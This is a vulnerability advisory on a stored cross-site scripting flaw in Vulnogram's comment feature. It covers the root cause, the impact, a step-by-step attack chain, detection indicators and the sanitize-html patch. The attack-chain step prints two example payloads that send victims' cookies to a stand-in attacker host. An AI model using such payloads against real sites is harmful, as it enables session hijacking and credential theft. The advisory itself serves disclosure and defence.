CVE-2026-32774: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32774 is a stored cross-site scripting (XSS) vulnerability in Vulnogram 1.0.0 (specifically version 1.0.0-beta1) affecting the comment hypertext handling feature. It allows authenticated remote attackers to inject malicious scripts through comments, which are then executed in the browsers of other users viewing the affected entries. The vulnerability was published on March 16, 2026, with a patch committed on March 20, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). In the vulnerable code, req.body.text from user-submitted comments was written directly to the hypertext field in MongoDB and subsequently rendered via Pug's unescaped interpolation, with no server-side sanitization applied. This allowed any authenticated user to inject arbitrary HTML and JavaScript that would execute in the browsers of all viewers of the affected entry. The fix (commit 2f0e21b) introduced server-side sanitization using the sanitize-html library with an allowlist of safe tags and attributes, stripping script injection, event handlers, and dangerous URI schemes (GitHub Commit, GitHub Advisory).

Successful exploitation enables an attacker to execute arbitrary JavaScript in the browsers of other authenticated users who view the compromised entry, potentially leading to session hijacking, credential theft, malware distribution, or UI defacement. Because Vulnogram is used for CVE management and publication by security teams, compromise of user sessions could expose sensitive vulnerability data or allow unauthorized modification of CVE records. The impact is limited to confidentiality and integrity at the application level, with no direct availability impact (Feedly, GitHub Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.036%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (an authenticated account) and passive user interaction (a victim must view the malicious comment) (Feedly, VulnCheck).

1. Gain access: Obtain a low-privileged authenticated account on a Vulnogram Team deployment instance (version 1.0.0-beta1 or earlier).
2. Identify target entry: Navigate to a CVE or vulnerability record that other users (e.g., administrators or collaborators) are likely to view.
3. Inject XSS payload: Submit a comment containing a malicious HTML/JavaScript payload in the comment text field, such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or an event-handler-based variant like <img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>.
4. Payload stored: The server writes the unsanitized req.body.text directly to the hypertext field in MongoDB without sanitization.
5. Victim triggers execution: When another authenticated user views the entry containing the malicious comment, the Pug template renders the stored HTML unescaped, causing the injected JavaScript to execute in the victim's browser.
6. Achieve objective: The attacker receives stolen session cookies or credentials, enabling session hijacking or further unauthorized actions within the Vulnogram instance (GitHub Commit, GitHub Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing Vulnogram entries (e.g., cookie exfiltration endpoints); unusual GET/POST requests to attacker-controlled infrastructure originating from Vulnogram users' browsers.
• Logs: Vulnogram application logs showing comment submissions containing <script>, onerror=, javascript:, or other event handler patterns in the comment text field; MongoDB entries in the comments collection where the hypertext field contains raw script tags or event handlers.
• File System / Database: MongoDB documents in the comments collection with hypertext values containing unsanitized HTML such as <script>, <iframe>, or inline event attributes (onerror, onload, onclick) stored prior to the patch being applied.
• Browser: Unexpected JavaScript execution or redirects when authenticated users navigate to CVE entry pages with comments; browser developer console errors or network requests to unknown domains triggered from Vulnogram pages (GitHub Commit).

The vulnerability is patched in commit 2f0e21b113c58124084c7b74c9768fc241126a05, which adds server-side HTML sanitization using the sanitize-html library (v2.17.1+) to the comment handling routes. Administrators should update their Vulnogram installation to a version incorporating this commit (any release after 1.0.0-beta1). As interim mitigations, restrict comment privileges to trusted users only, implement Content Security Policy (CSP) headers to limit script execution, and audit existing MongoDB comment records for stored malicious payloads. Vulnogram's own documentation already recommends only creating accounts for trusted users in Team mode (GitHub Commit, GitHub Advisory).

The vulnerability was assigned and disclosed by VulnCheck and tracked as EUVD-2026-12188 by ENISA. Coverage has been limited to automated vulnerability tracking platforms including VulnDB, CVEFeed, and CIRCL's vulnerability database, with no notable researcher commentary or significant social media discussion identified beyond automated CVE announcement posts (VulnCheck, ENISA EUVD).